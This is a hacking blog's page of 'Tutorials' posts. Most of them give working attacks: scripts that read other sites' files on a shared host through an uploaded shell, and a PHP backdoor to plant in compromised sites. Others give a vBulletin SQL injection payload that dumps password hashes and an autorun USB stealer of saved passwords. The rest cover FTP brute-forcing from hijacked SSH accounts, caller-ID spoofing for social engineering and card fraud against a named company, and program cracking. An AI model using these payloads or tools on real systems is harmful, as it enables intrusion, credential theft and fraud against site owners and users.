Showing posts with label Tutorials. Show all posts
Showing posts with label Tutorials. Show all posts
May 22, 2012

1
Server Bypass via Symlink - Jumping in server Part 2

Let's go with next method of symlink server bypassing , like u see and into before post now i will explain a new trick with an other tool.
http://www.flashcrew.in/2012/05/server-bypass-via-symlink-jumping-in.html

-------------------------
Here we will talk about an other tool who use python permission to read other folders/ files in same server.
Tool called xplor.py and here it's the source

 #!/usr/bin/env python
# devilzc0de.org (c) 2012
import sys
import os

def copyfile(source, dest, buffer_size=1024*1024):
    if not hasattr(source, 'read'):
        source = open(source, 'rb')
    if not hasattr(dest, 'write'):
        dest = open(dest, 'wb')
    while 1:
        copy_buffer = source.read(buffer_size)
        if copy_buffer:
            dest.write(copy_buffer)
        else:
            break
    source.close()
    dest.close()

if __name__=="__main__":
    if not len(sys.argv) == 3 and not len(sys.argv) == 2:
        sys.stdout.write('usage : python ' + os.path.basename(sys.argv[0]) + ' [path to dir/file] [path to save file]\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue\r\n')
        sys.stdout.write('ex    : python ' + os.path.basename(sys.argv[0]) + ' /etc/issue issue_new_copy\r\n')
        sys.exit(1)
   
    target = sys.argv[1].replace("\\","/")
    if os.path.isdir(target):
        if not target.endswith("/"):
            target = target + "/"
        dir = os.listdir(target)
        for d in dir:
            fs = ""
            if os.path.isdir(target + d):
                fs = "[ DIR ]"
            elif os.path.isfile(target + d):
                fs = os.path.getsize(target + d)
                fs = str(fs)
               
            sys.stdout.write(fs.rjust(12, " ") + " " + d + "\r\n")
    elif os.path.isfile(target):
        if len(sys.argv) == 3:
            copyfile(target, sys.argv[2])
        else:
            f = open(target, "rb")
            try:
                byte = f.read(1024)
                sys.stdout.write(byte)
                sys.stdout.flush()
                while byte != "":
                    byte = f.read(1024)
                    sys.stdout.write(byte)
                    sys.stdout.flush()
            finally:
                f.close()
    else:
        sys.stdout.write("Can't found file or folder : " + target)

http://pastebin.com/WqmCE2sJ

testing the script python xplor.py

User the tool to view folders where not have any permission to read inside

python xplor.py /var/www/index.php


View the files in no access folder .
python xplor.py /var/www/index.php


copy/ save ur file
python xplor.py /var/www/indro/ketek.jpg ketek.jpg
Posted Image

And yeah file it's here
Posted Image

Yeahh fucking access it's granted 


Some thing u can do with those other scripts in perl 
webs.pl
and
xplor.pl


enjoy it :)

4
Server Bypass via Symlink - Jumping in server Part 1

As we all know, symlinking it's on of greates methods for bypassing server security, mean to read files of other site in same shared host.
For getting success with this tutorial are required the following things:
  • Python Installed on Server
  • b374k.php shell
  • And some scripts u will see below.
This idea have start from devilzc0de geeks and let me explain how it work.


here we are in folder /var/www/dono and trying to go into /www/
no permissions to go into /www .
before we got tired by trying the commands u must check if if python it's installed with command :
python -h
Now take this python script and name it as webs.py , It's a little python script who will open a new port on server SimpleHTTPServer ( python ) module. Default port from script it's 13123 .
#!/usr/bin/env python
# devilzc0de.org (c) 2012
import SimpleHTTPServer
import SocketServer
import os

port = 13123
if __name__=='__main__':
        os.chdir('/')
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

        httpd = SocketServer.TCPServer(("", port), Handler)

        print("Now open this server on webbrowser at port : " + str(port))
        print("example: http://maho.com:" + str(port))
        httpd.serve_forever()
http://pastebin.com/PddvszKC 


Next u wil need to run the webs.py script by following command
python webs.py

 open the site with port 13123
site.com:13123



And enjoy the symilinking, in next post i will show u how to do this in another way :)
Apr 20, 2012

0
Abusing Password Resets

This posts focuses on analyzing entropy and inline password resets, two major problems with forgot/reset password functionality. To do this, we have to automate both requesting a forgot password hundreds of times and parsing thru all of the e-mails we receive. Thanks to the recently added macro support now available in Burp (thanks PortSwigger), less effort is required on our part when an application employs anti-automation features to prevent such attempts.

For those not familiar with BurpSuite's Macro support, lets walk thru this.

So here is a picture of the email reset we've been sent:
To initiate a password reset request it is a four part request & response pair sequence. This sequence is saved in our proxy history. We need to navigate to Options > Sessions > Macros > New and highlight the four messages saved in the proxy history to create and configure the new macro.

Take a look at the screenshot below:
Okay now we need to configure each individual request/response to extract data we want. We have to grab a JSESSIONID and a struts token. Lets highlight the first request/response and configure.
Example of configuring one of the items
You'll notice that for the first request I've chosen to not use cookies in the cookie jar. This is because I want to start the sequence clean and without a cookie.


Notice the struts.token.name and struts.token are dynamic and changing so we derive these from the response. The rest are preset values like email and birthdate (no, not my real birthdate). One thing that is important to notice is that I've decided to uncheck URL encode for the email portion. It is already URL encoded so no need. Otherwise it will cause problems.



Name the Macro 

The next piece requires you to add the macro to a session rule. Again Options > Sessions > Session Handling > New. Highlight the macro you'd like to use.






Next, you'll need to add the pages to scope:




Now send the original, first request (I do this at the proxy history portion of Burp) over to intruder, select null payloads and set it for a number that is large enough to collect a big portion of passwords so we can review entropy. You'll see below that Intruder is configured to send the password reset sequence 800 times. Again, this will initiate the macro each time, so you are essentially resetting the password 800 times.


Next we need to retrieve the emails from gmail and review them for entropy. Here is a script I've written to retrieve emails from gmail, parse for the password values and write to a file called tokens.txt:



Lines 11-17:

Line 12: File we will place all of our emails in (make sure you create an inbox folder)
Line 13: Initialize Pop class
Line 14: Enable SSL
Line 15: Replace with your username and password
Line 16: Call the check_for_emails method with the pop obj

Lines 20-27:

Line 21-22: If we no emails, print that fact out to the screen
Line 24-25: We have emails, print that fact to the screen and call place_emails_into_file method with the pop object.

Lines 31-36:

Line 31: Iterate thru pop array
Line 32: Open the file (line 12)
Line 33: Write the messages to the file
Line 36: Call the create_file_with_tokens method


Lines 40-53:

Line 41: Create a new_file object which is a file called tokens.txt
Line 42: Create a read_file object which reads the inbox/emails.txt file from Line 12
Line 43: Begin reading each line from the read_file
Lines 44-46: If the line matches the "password: somepassword" write it to a file.
Line 53: Kick the whole thing off

Review the tokens.txt file

We can see that the new passwords sent aren't very random. We can load this in burp sequencer but there really isn't any point when it is this easy. It is obvious that the developer has two separate arrays of words and and another array of numbers. They pick "randomly" from that pile and concatenate the values. Here is the actual line of code I wrote to do this and yes this is a real-life example that I've come across:




Factors that could slow us down:

1) If we can't enumerate e-mail addresses somehow. An example of enumeration would be if you type in a username/e-mail address and and the site tells you it doesn't exist. Now we know who DOES exist on the system.

2) This particular site requires a birthdate along with the email address. This is difficult but not impossible. If we know the e-mail address exists it is a matter of guessing the birthdate (automate w/ Intruder).

3) After we've reset other user's passwords, we need to guess the password (made MUCH easier by reviewing the entropy). If an account lock-out policy is enforced (after a small amount of incorrect password submissions) the account may be locked out leaving us without access. That is no fun.

Even if the reset or forgotten password function doesn't send us a clear-text password it may send us a reset link. It is important to review the randomness of that link.

Here is an example of loading the tokens file in sequencer:


Summary:

We've bypassed struts token and multi-flow password resets which might have been intended to slow us down. We've collected all of our emails and parsed them for passwords/tokens/links. We've manually (in this case) reviewed the entropy but we can also do this with sequencer. Now we have a way to guess passwords more efficiently and in combination with other flaws leaves us just a short period of time from compromising accounts.
All credits for this post goes to carnal0wnage

Mar 16, 2012

0
Shutdown PC from cell phone ( thunderbird email )

Here u will learn a nice tric to shutdown your Windows PC with a text message.
With an add-on and a few tweaks, it is possible configure this, with a portable copy of Mozilla Thunderbird.
This should take < 10 minutes to set up and configure.



Step 1 - Get thunderbird portable

Download a copy of portable thunderbird:
http://portableapps.com/apps/internet/thunderbird_portable
and extract it by running the exe.

Step 2 - Setup thunderbird & install add-on

First of all, set up an email account. I created a gmail account just for this project. Go through thunderbird's setup process and make sure your email account is configured properly. You'll probably need to login to your account and enable POP/IMAP settings.

Now that you have a portable, working copy of mozilla thunderbird, download this add-on:
https://addons.mozilla.org/en-US/thunderbird/addon/2610
This is what makes it all work.

To install this into the thunderbird portable folder, open ThunderbirdPortable, and go to Tools -> Add-ons and click install. Direct thunderbird to the .xpi file you downloaded and it will install the add-on.

Restart thunderbird to proceed.

Continue reading to original post on Hak5 Forum
Dec 21, 2011

0
Spoofing Caller ID

What Is Spoofing Caller ID?

Caller ID spoofing is the practice of causing the phone network to display a number on the recipient's caller ID display/phone display which is not that of the actual originating station.

Just like email spoofing you can set a spoofed email that will be sent to a victim ; example: billgates@microsoft.com. But instead of email this is the Phone Network caller ID number so instead of sending our number "555-555-5554" we spoof it with a service to "111-111-1112" making it show up on the victims phone when we call them.

Some people use this for prank calls, some people use when they do telemarketing..But we will be using for Hacking/Carding.


How do you mean Carding/Hacking?


Well Lets do this in 2 sections..

1) Hacking.

To lets say Hack into a shop network online or root a server you can do this by social engineering, So lets say we did a Whois on a company.

For this example we use http://www.cygnett.com/

So we do a whois.. You can do this anyway you like but we will just use > http://whois.domaintools.com/

So we do the whois and the information we are looking for is:

Organisation Name
Organisation Address
Organisation Phone
Admin Name
Admin Address
Admin Phone
Tech Name
Tech Address
Tech Phone

So in this case we find all the information needed to hijack the whole site and database by simple Social Engineering and to do all this we will use Call ID Spoofing.


Organisation Name.... Cygnett Organisation Address. Level 1, 3 Newton Street Organisation Address. Organisation Address. Richmond Organisation Address. 3121 Organisation Address. Victoria Organisation Address. AUSTRALIA Admin Name........... Daniel Harper Admin Address........ Level 1, 3 Newton Street Admin Address........ Admin Address........ Richmond Admin Address........ 3121 Admin Address........ Victoria Admin Address........ AUSTRALIA Admin Email.......... Admin Phone.......... 03 9429 2552 Admin Fax............ 03 9429 2551 Tech Name............ Web Master Tech Address......... P.O. Box 13266 Tech Address......... 1300660603 Tech Address......... Melbourne Tech Address......... 3000 Tech Address......... VIC Tech Address......... AUSTRALIA Tech Email........... Tech Phone........... +1.300 660 603 Tech Fax............. +61.3 9370 0652
So What we would do is use Caller ID spoofing service to spoof our skype number to the Tech > 1.300 660 603

Then We can call Cygnett Owner on > 03 9429 2552 as we can see the admin is the owner in this case and in most cases.

So when we call we could say, that we are doing a Security verification check on customers due to a hack attempt on the networks and would like them to verify there username, current password, email address used to register to "fundamentalit.com Hosting" Owner's name used to register/pay for the site address...etc

Also you would need to try not act like a robot over the phone and never stutter or say "umm's" cause they will think its a fake caller, just keep your cool, and don't worry if you can't speak heaps of English because so many people around the world employee Admin's/Help desk from overseas.


2) Carding/Shipping

This is a smaller section as its not as hard to explain.

Lets say we had a CC and you were from UK but the CC account phone number was USA.. well you could setup your skype in UK to spoof to the victim's number..example:

John Doe's billing Address Phone Number is "300-444-8004" our number is "98-999-9807" So we would use the Caller ID Spoofing service to spoof our number to the Phone number of John Doe then we can call to verify orders if needed.

The Best service I think to use and its also anonymous is called Blufmycall

Site: http://blufmycall.com/

Its around $10 for 60 credits "minutes"/ $100 for 775 credits "minutes" and that includes unlimited caller ID changing..so you could keep changing it to what you want.


Have fun..Keep Cool..Fuck the Feds.
By Syncorion - Yes I am a Bitch you better know it.
Sep 4, 2011

0
Webshag

Webshag is a multi-threaded, multi-platform web server audit tool. Written in Python, it gathers commonly useful functionalities for web server auditing like website crawling, URL scanning or file fuzzing.
Webshag can be used to scan a web server in HTTP or HTTPS, through a proxy and using HTTP authentication (Basic and Digest). In addition to that it proposes innovative IDS evasion functionalities aimed at making correlation between request more complicated (e.g. use a different random per request HTTP proxy server).
WebShag

It also provides innovative functionalities like the capability of retrieving the list of domain names hosted on a target machine and file fuzzing using dynamically generated filenames (in addition to common list-based fuzzing).

Webshag URL scanner and file fuzzer are aimed at reducing the number of false positives and thus producing cleaner result sets. For this purpose, webshag implements a web page fingerprinting mechanism resistant to content changes. This fingerprinting mechanism is then used in a false positive removal algorithm specially aimed at dealing with "soft 404" server responses.
Webshag provides a full featured and intuitive graphical user interface as well as a text-based command line interface and is available for Linux and Windows platforms

Requirements

To be fully functional, webshag requires the following elements:
  • Python 2.5/2.6 (NOT compatible with Python 3.0)
  • wxPython 2.8.9.0 or greater GUI toolkit
  • Nmap port scanner (for port scanning module only)
  • A valid Live Search AppID (for domain information module only)
Note: to use installer on Windows Vista, please refer to user manual.

Downloads

version 1.10
Linux (tarball) ws110.tar.gz
Windows (ZIP archive) ws110.zip
Windows (installer) ws110_win32installer.zip
User manual (EN) ws110_manual.pdf

0
Mini MySqlat0r

Mini MySqlat0r is a multi-platform application used to audit web sites in order to discover and exploit SQL injection vulnerabilities. It is written in Java and is used through a user-friendly GUI that contains three distinct modules.

The Crawler modules allows the user to view the web site structure and gather all tamperable parameters. These parameters are then sent to the Tester module that tests all parameters for SQL injection vulnerabilities. If any are found, they are then sent to the Exploiter module that can exploit the injections to gather data from the database. Mini MySQLat0r

Mini MySqlat0r can be used on any platform running the Java

Download Tool

Download Manual
Aug 31, 2011

0
ev1lut10n local ftp bruter version 1.0

Hi there .. an another qulaity tool by my friend ev1lut10n. for bruteforcing FTP logins via ssh servers . u can use any ssh that u can get from ur scanning for try to crack FTP's .. Tool work on localhost


Download : http://jayakonstruksi.com/backupintsec/ev1cpanel_finder.tgz

suggested run on ssh acc that u have taken over

==========
ev1lut10n@ev1l:~$ wget jayakonstruksi.com/backupintsec/ev1cpanel_finder.tgz
--2011-08-31 16:55:31-- http://jayakonstruks.../e...finder.tgz
Resolving jayakonstruksi.com... 202.155.61.121
Connecting to jayakonstruksi.com|202.155.61.121|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2638 (2.6K) [application/x-tar]
Saving to: `ev1cpanel_finder.tgz'

100%[===================================================================================================================>] 2,638 --.-K/s in 0.01s

2011-08-31 16:55:31 (204 KB/s) - `ev1cpanel_finder.tgz' saved [2638/2638]

ev1lut10n@ev1l:~$ tar zxvf ev1cpanel_finder.tgz
ev1cpanel_finder/
ev1cpanel_finder/ftp_credentials.txt
ev1cpanel_finder/ev1cp.pl
ev1cpanel_finder/invalid_user_lists.txt
ev1cpanel_finder/password.txt
ev1lut10n@ev1l:~$ cd ev1cpanel_finder
ev1lut10n@ev1l:~/ev1cpanel_finder$ perl ev1cp.pl

============


than just wait for some hours ;-p


=========
ev1lut10n@ev1l:~/ev1cpanel_finder$ perl ev1cp.pl

_____
___ _ _< / /
/ -_) |/ / / /
__/|___/_/_/ uti0n Cpanel Finder


H3llc0me to ev1lut10n Cpanel Finder version 1.0


checking whether 21 is open or not at :
ev1lut10n@ev1l:~/ev1cpanel_finder$
Start ftp dict attack at 127.0.0.1 for username:bojing

Start ftp dict attack at 127.0.0.1 for username:ev1lut10n

testing bojing and bojing at 127.0.0.1

Start ftp dict attack at 127.0.0.1 for username:kacung

snippped-----------

_____
___ _ _< / /
/ -_) |/ / / /
__/|___/_/_/ uti0n Cpanel Finder


H3llc0me to ev1lut10n Cpanel Finder version 1.0


Finished ! please check ftp_credentials.txt, if null means fail epic !
ev1lut10n@ev1l:~/ev1cpanel_finder$ cat ftp_credentials.txt
null

[+] w00t kacung : 123 found !!!


[+] w00t bojing : 12345 found !!!

==========

on success u got some weak password on that box
Aug 27, 2011

0
ProFTPD with mod_sql pre-authentication, remote root

Volume 0x0e, Issue 0x43, Phile #0x07 of 0x10

|=-----------------------------------------------------------------------=|
|=------=[ ProFTPD with mod_sql pre-authentication, remote root  ]=------=|
|=-------------------------=[ heap overflow ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ max_packetz@felinemenace.org ]=------------------=|
|=-----------------------------------------------------------------------=|

--[ Contents

  1 - Introduction 

  2 - The vulnerability
   2.1 - Tags explained
   2.2 - Generating overflow strings

  3 - Exploring what we can control
   3.1 - Automating tasks
   3.2 - ProFTPD Pool allocator
   3.3 - Examining backtraces
    3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace
    3.3.2 - 2813d637d735be610a460a75db061f6b backtrace
    3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace
    3.3.4 - 844319188798d7742af43d10f6541a61 backtrace 
    3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace
    3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace
    3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace
    3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace
    3.3.9 - Summary
   3.4 - Exploitation avenues
    3.4.1 - Shellcode approach
    3.4.2 - Data manipulation

  4 - Writing an exploit
   4.1 - Exploitation via arbitrary pointer return
   4.2 - Cleanup structure crash
   4.3 - Potential enhancements
   4.4 - Last thoughts

  5 - Discussion of hardening techniques against exploitation
   5.1 - Address Space Layout Randomisation
   5.2 - Non-executable Memory
   5.3 - Position Independent Binaries
   5.4 - Stack Protector
   5.5 - RelRO

  6 - References

--[ 1 - Introduction 

This paper describes and explores a pre-authentication remote root heap
overflow in the ProFTPD [1] FTP server. It's not quite a standard overflow,
due to the how the ProFTPD heap works, and how the bug is exploited via 
variable substition.

The vulnerability was inadvertently mitigated (from remote root, at least 
:( ) when the ProFTPD developers fixed a separate vulnerability in mod_sql 
where you could inject SQL and bypass authentication. That vulnerability 
that mitigated it is documented in CVE-2009-0542. 

The specific vulnerability we are exploring is an unbounded copy operation 
in sql_prepare_where(), which has not been fixed yet.

Also, I'd like to preemptively apologise for the attached code. It evolved 
over time in piecemeal fashion, and isn't overly pretty/readable by now :p
 
Read Full Article 
Jul 6, 2011

0
Backdoor php files

so u upload a shell in somewebsite and most of times admin will delete the shell when he detect ..
But why u not backdoor anyfile from site

So just edit any php file from site and pot this code into it :)


if(isset($_REQUEST['cmd'])){
echo "
";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "
";
die;
}

?>
so u can use it like this yourbackdooredfile.php?cmd= ( Your Linux Command )

you can also base64 encode it

$DBCall = base64_decode("");

:)

0
Steganography Tutorial

Q.What Is Steganography?

A.Steganography is the art and science of writing hidden messages in such a way that no one, apart from the sender and intended recipient, suspects the existence of the message, a form of security through obscurity.
---------------------------------------------------------------------------

The difference between Cryptography And Steganography

Cryptography:With cryptography its obvious theirs a message there, you just need to find the way to break the code.

Steganography:A hidden message/file in another file that to the unknowing eye wouldn't be able to tell.
---------------------------------------------------------------------------
So the tool we will be using is called Steghide
http://steghide.sourceforge.net/download.php
So download that and extract it to where ever (For this tut im extracting to my desktop.)
so the folder should be called steghide
---------------------------------------------------------------------------
No run CMD and direct your self to where the steghide folder is located
EX: cd desktop/steghide <---for me at least
No before we get into the actual steganography we need to move the picture that we want to hide the file in and the file (im using a text file for this example)
---------------------------------------------------------------------------
Embedding
Now to hide the text file within the picture
Note:must be in the steghide dir

steghide embed -cf xbiohazardx.jpg -ef f47al.txt
-cf=Cover File
-ef=Embed File
And you will be prompted to add a password so that when you send this hidden file to your friend they can unpack it with that password.
---------------------------------------------------------------------------
Extracting
So now you can either send this to another person or if your just hiding the file for future reference.
Once again you must be in the steghide dir

steghide extract -sf xbiohazardx.jpg
-sf=Stego File
You/your friend after typing that in will be promoted for a password-and that password is what you set when you embedded the file ^above^
And if the password was right it would extract the embedded file into steghide dir
May 29, 2011

0
HONEY POT: Hack Hackers

What is HoneyPot??
In layman terms we can say it is a trap set by the administrators for the hackers, to fool them or to make them believe that they are hacking into admins system, but instead of that hackers are getting hacked by the admin.

How does this work??

This works by presenting the hackers a foul scenario where , hacker thinks that he is penetrating into the system but instead, he is going no where except he is playing in the world created by the admins. By doing so, admins are able to check all the malicious activity of the hackers like what all ports hackers are trying to connect, what files they are trying to upload, which all sections they are trying to access.

HonyPot is mainly designed to trap the hackers, or present a virtual system to the hackers which never exists.

Technically, Honeypot tries to listen to all the ports on the system, and whenever hacker tries to port scan the system, it gets a list of open ports which he thinks is open but actually, it is the opened port which is shown by the honeypot behind the firewall, so when ever hacker tries to access some random port say 100, then he is accessing the honeypot not the system,

Above scenario can be visualised better: Install a VM ware on a system and run any low version of windows or linux on it with all ports open, and port forward those ports on the host system, so when ever hacker tries to fingerprint or try to do port scan, then he will be gettng info about the VM ware not the host system, hacker may be able to penetrate into the VM ware OS, but our HOST OS remains safe.

But there are mainly deficulty in doing the above job , so special application is created called HONEYPOT to do this job and many other jobs like tracking of packets, file access etc.

There are mainly 3 types of honeypots available:
1.Small: Mainly keeps the log of ip-address which are trying to access your system alongwith the port
2.Medium: Its functionality is little advanced, keeping track of files accessed, time-period, hosts etc.
3.Large: It provides all the functionality, but the main feature of these kind of Honeypots are security feature, these can simulate virtual os for the outsiders or hackers very well.


In this article I am going to give the example of HoneyPot of small scale for Windows.
HoneyPots are available both on commercial platform and also as open source, I am taking the example of KFsensor which is freely available here.
STEP 1: Download the KFSENSOR and winpcap from their website and install them
STEP 2: Restart your system, start winpcap server from the folder menu where it is saved mainly in c:\ drive
STEP 3: Start KFsensor, do as promted in the window , it is mainly for the configuring of your new HONEYPOT.
STEP4: Done, keep your system up for the packets scanning.




Here in above picture u can see some port numbers are striked out, because you need to restart the system, then start your honeypot, then internet connection, else these ports will be used by net connection first, then this honeypot willnot be able to access these ports, hence no information gathering will be possible.
================================================== ====================
We can also create our small honeypot whose main function is to check for the incoming packets.......
It is nothing but the basic client-server program which listens on all port.

Within minutes of intallation of this small honeypot i got the scanning alert sound, when checked these were the UDP packets mainly left over the internet for scanning of hosts........

0
Hash Cracking with HASHCAT

HashCat v.0.36 - Multi Hash CPU Cracker


Features

* Free
* Multi-Threaded
* Multi-Hash
* Linux & Windows native binaries
* Fastest cpu-based multihash cracker
* SSE2 accelerated
* All Attack-Modes except Brute-Force and Permutation can be extended by rules
* Very fast Rule-engine
* Rules mostly compatible with JTR and PasswordsPro
* Possible to resume or limit session
* Automatically recognizes recovered hashes from outfile at startup
* Can automatically generate random rules
* Load hashlist with more than 3 million hashes of any type at once
* Load saltlist from external file and then use them in a Brute-Force Attack variant
* Able to work in an distributed environment
* Specify multiple wordlists and also multiple directories of wordlists
* Number of threads can be configured
* Threads run on lowest priority
* 30+ Algorithms implemented with performance in mind
* ... and much more

---------------------------------------------------------------------------------------------


Attack-Modes

* Straight *
* Combination *
* Toggle-Case
* Brute-Force
* Permutation
* Table-Lookup

* accept Rules
----------------------------------------------------------------------------------------------
Algorithms

Hashcat ships with a decent number of hashing Algorithms built-in. All Algorithm have been implemented from scratch to run with an exceptional performance. To not loose sight, a unique feature of the GUI is a Hash Browser that lets you easily search for the right hashmode interactively, based on algo-class or application like WordPress, vBulletin or osCommerce.

* MD5
* md5($pass.$salt)
* md5($salt.$pass)
* md5(md5($pass))
* md5(md5(md5($pass)))
* md5(md5($pass).$salt)
* md5(md5($salt).$pass)
* md5($salt.md5($pass))
* md5($salt.$pass.$salt)
* md5(md5($salt).md5($pass))
* md5(md5($pass).md5($salt))
* md5($salt.md5($salt.$pass))
* md5($salt.md5($pass.$salt))
* md5($username.0.$pass)
* md5(strtoupper(md5($pass)))
* SHA1
* sha1($pass.$salt)
* sha1($salt.$pass)
* sha1(sha1($pass))
* sha1(sha1(sha1($pass)))
* sha1(strtolower($username).$pass)
* MySQL
* MySQL4.1/MySQL5
* MD5(Wordpress)
* MD5(phpBB3)
* MD5(Unix)
* SHA-1(Base64)
* SSHA-1(Base64)
* SHA-1(Django)
* MD4
* NTLM
* Domain Cached Credentials
* MD5(Chap)
* MSSQL
* SHA256
* MD5(APR)
* SHA512
* SHA-512(Unix)
-------------------------------------------------------------------------------------------
[1] Add hash in hash.txt file.

[2] Select hash file.













[3] Select output file.












[5] Now click on Power of Atom......!

[6] After some time check output file...........!




May 27, 2011

0
vBulletin 4.* SQL Injection

Work on all 4 version exept last one 4.1.3 :)

Video Link
http://www.youtube.com/watch?v=htGClYoBN9k

Exploit Code


&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt) FROM user limit 1,1#

Enjoy

3
Reverse Ip Lookup

a little tool for tell u other sites on a server

It's writen in perl but i have convert it on .exe



Download 

Password i RAR: www.pirate.al
Jan 31, 2011

1
Make USB Stealer


As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.
MessenPassRecovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassViewRecovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE PassviewIE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassViewRecovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFoxPasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. 
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exemailpv.exeiepv.exepspv.exe andpasswordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.
Nov 30, 2010

2
Show Hiden Files On USB

Tool for show files when are hidden in usb .
1 Open USB Show
2 Clink on "Recive Hidden Files And Folders"
3 Select The Path Off USB
4 Ok
5 Open USB And See Again Files


Download
Oct 20, 2010

2
Decompiling Flash Logins

This Tutorial will show you how to bypass unsecured flash logins it is a pretty simple task you can do this by first searching google for some flash logins i like to use either login.swf or inurl:login.swf now you have found a site you would like to bypass simply change the link at the top from login.html to login.swf you will see that it has zoomed in the login table all you need to do is download the login.swf by simply opening a shell & typing
wget http://whatever.com/login.swf/
You will now see it has downloaded the flash login to you root shell. its now time to decompile the login you can do this by typing
flasm -d login.swf
Now you will see it looks a bit like below.
movie ‘login.swf’ // flash 5, total frames: 3, frame rate: 10 fps, 170×109 px

protect

defineButton 20

on overUpToOverDown

push ‘V’

push ‘0?

push ‘1?

push ‘String’

new

setVariable

push ‘z’

push ”

push ‘1?

push ‘String’

new

setVariable

push ‘z’

push ‘userBox’

getVariable

push ‘passBox’

getVariable

concat

setVariable

push ‘z’

getVariable

push ‘Kaj20code20fm’

stringEq

not

branchIfTrue label1

push ‘V’

push ‘1?

setVariable

getURL ‘http://www.example.com/frontpage.html’ ‘_self’

label1:

push ‘z’

getVariable

push ‘Overkaj12345?

stringEq

not

branchIfTrue label2

push ‘V’

push ‘1?

setVariable

getURL ‘http://www.example.com/frontpage.html’ ‘_self’

label2:

push ‘z’

getVariable

push ‘tte@fujitsu.dk” onclick=”window.open(this.href);return false20code20fm’

stringEq

not

branchIfTrue label3

push ‘V’

push ‘1?
As you can see from looking in the code it says push ‘Overkaj12345? you will ned to split this into two parts Username Overkaj Password: 12345

4
How to Crack a Program

n this tutorial I will be showing you how to reverse engineer a program so that the serial key you enter is always right. This video was made for educational purposes only, The program I choose to hack is called SUPER AntiSpyware Professional and the program I choose to hack it with is Olly Debug, please let me know if you would like me to make more videos on how to crack diffrent programs.
Links www.ollydbg.de/ ( Download Olly Debugger)
SuperAntiSpyware Program- http://rapidshare.com/files/166022617...
And for the lazy people out there who just want the program cracked download the patch I made
http://rapidshare.com/files/163890371...

View Video 

http://www.youtube.com/watch?v=8dlj_tZ7YDA

0
Quick guide to SQL Injection attacks and defenses

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application.

SQL injection is one of the oldest attacks against web applications.

The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another...

For more details please follow the link below...
Download Paper (Quick guide to SQL Injection attacks and defenses - english)
 
FlashcRew Blog